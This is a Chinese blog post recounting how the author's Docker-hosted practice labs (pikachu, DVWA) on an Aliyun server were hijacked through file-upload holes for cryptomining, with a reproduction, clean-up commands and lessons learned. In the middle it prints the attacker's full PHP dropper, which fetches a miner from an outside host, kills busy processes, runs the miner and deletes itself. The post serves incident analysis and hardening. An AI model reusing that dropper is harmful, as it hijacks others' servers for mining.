服务器被入侵记录二则

前言

注:原创文章,禁止转载!
之前闲着没事在阿里云用docker部署了三个老靶场,分别是sqli,dvwa,pikachu,方便他人使用学习

阿里云的警报

2021.6.10,阿里云给我发了一个短信提醒我疑似服务器被入侵,有挖矿行为
我想着难道是ssh爆破?难道之前安装的fail2ban服务失效了,上线一看,运行着,首先排除ssh爆破。
然后仔细回想了一下,也没有安装什么存在漏洞的版本的服务啊。
登陆了阿里云控制台,看到如下信息:

(上面的容器名是piakchu,是因为我重命名的时候打快了打错了,然后懒得命名回来了)
果然是靶场惹的祸,直接通过pikachu靶场文件上传漏洞getshell然后运行挖矿文件。
在我的固化思维里,docker容器与宿主机分离,还是相对安全的,你get了pikachu的shell也无所谓,之前也去了解过docker容器的逃逸,但是我的版本是没有逃逸的那个漏洞的,然后我就没有管它了。虽然不会被轻易渗透到宿主机,但是还是没想到会有人利用我的靶场来挖矿。

复现

为了弄清楚究竟是怎么一回事,随后去做了一个复现,这里用虚拟机做的:
docker拉的pikachu
通过pikachu的上传漏洞获取shell,上传的文件在宿主机以下目录:

/var/lib/docker/volumes/1fbe430ca6daba2068c719273fb0af52dd5b756b900b2957357bd3e0316cfe57/_data/vul/unsafeupload/uploads

通过蚁剑连接
ll查看权限(我的虚拟机是有icey这个普通用户的):

-rw-r--r--. 1 icey ftp 53 Jun 14 16:30 aa.php
-rwxr-xr-x. 1 icey ftp 19 Jun 14 16:37 sillage.sh

ll查看uploads目录的权限,是有执行权限的
执行whoami,为www-data,只有对/var/www目录的管理权:

可以运行一些脚本,但无法逸出容器对宿主机实行攻击(或许是我功力不够,有兴趣的读者可以自行折腾)
随后将uploads目录的执行权限去掉,通过蚁剑仍然能连接,但是已经无法执行脚本了

阿里云的警报又来了

2021.6.21,这天又收到了警报,有了之前的经验,也在我意料之中了
直接top命令查看,占用cpu资源最高的那个进程名tomcat就是挖矿程序,文件名是tomcat
几乎不用想,我就知道来自dvwa靶场的文件上传,被人getshell,然后运行了挖矿文件
我直接停掉了dvwa靶场,top再查看,tomcat进程也跟着没了
随后一波操作来到了dvwa靶场的上传目录:

[root@iZhp3661jqu8od84z9g4f8Z 08c916061cde7dbcbcb5b215d45e76e9ec3ed3cad8987ebbe519f0f8a8a8d34a]# find / -name tomcat
/etc/selinux/targeted/active/modules/100/tomcat
/var/lib/docker/overlay2/4fb773a023fedfefad7d586d7c118fb1468f109d4b4c531b46f475a608f553d8/diff/app/hackable/uploads/tomcat

与之前不同的是,这里不仅有tomcat挖矿文件,还有一个d.php,和config.json的文件
d.php内容如下:

<?php 
file_put_contents("tomcat", file_get_contents("http://XXXX.16:8088/public/controls/dhtmlx/skins/web/tomcat"));
file_put_contents("config.json", file_get_contents("http://XXXX.16:8088/public/controls/dhtmlx/skins/web/config.json"));
$x=system("ps axf -o 'pid %cpu' | awk '{if($2>=80) print $1}'");
system("kill -9 ".$x);
system('ps -aux');
system('chmod +x tomcat');
system('./tomcat');
system('rm -fr d.php')

虽然没怎么学过php,但上面的命令还是能看懂大部分,最后一句是删除d.php,但是为什么没删除掉自身呢,我猜可能是括号后面少写了一个分号
里面留下了hacker的远程ip,来自中国河南,当时就来精神了,准备一波反*,第一步信息搜集,访问其web服务我就愣住了,这怎么看也不像是个私人的云服务器。这可能是个。。。
然后就关电脑睡觉了。

处理

最后呢把dvwa和pikachu靶场做了处理,首先建立docker数据卷(docker volume create pikachu),映射到相应容器(docker run -d -it --name=pikachu -p 9002:80 -v pikachu:/app area39/pikachu),方便管理,其次对靶场的上传目录修改权限,去除执行权限(chmod -R a-x uploads),我是直接生硬去除了所有用户的在该目录的执行权限,然后查看靶场,发现文件上传部分直接被搞废了,不能上传,提示权限有问题:

这样也好,省得他们是折腾了。

后续

又再次警报有挖矿行为了,然后登陆一看,还是那个tomcat文件,不过换了个目录
/var/lib/docker/overlay2/3e3bfa4512a96826be672049b29031b1df6c8bf7f86573045914e7719f335efc/diff/tmp
于是直接把tmp目录的执行权限去掉,chmod -R a-x tmp

后来的后来,我关掉了靶场。本来就是靶场,全身的洞,补完就不叫靶场了。

反思

不要有固化思维
文件的权限管理要精准把控,不给不法之人可乘之机

posted @ 2021-06-24 22:54  nihinumbra  阅读(82)  评论(0编辑  收藏  举报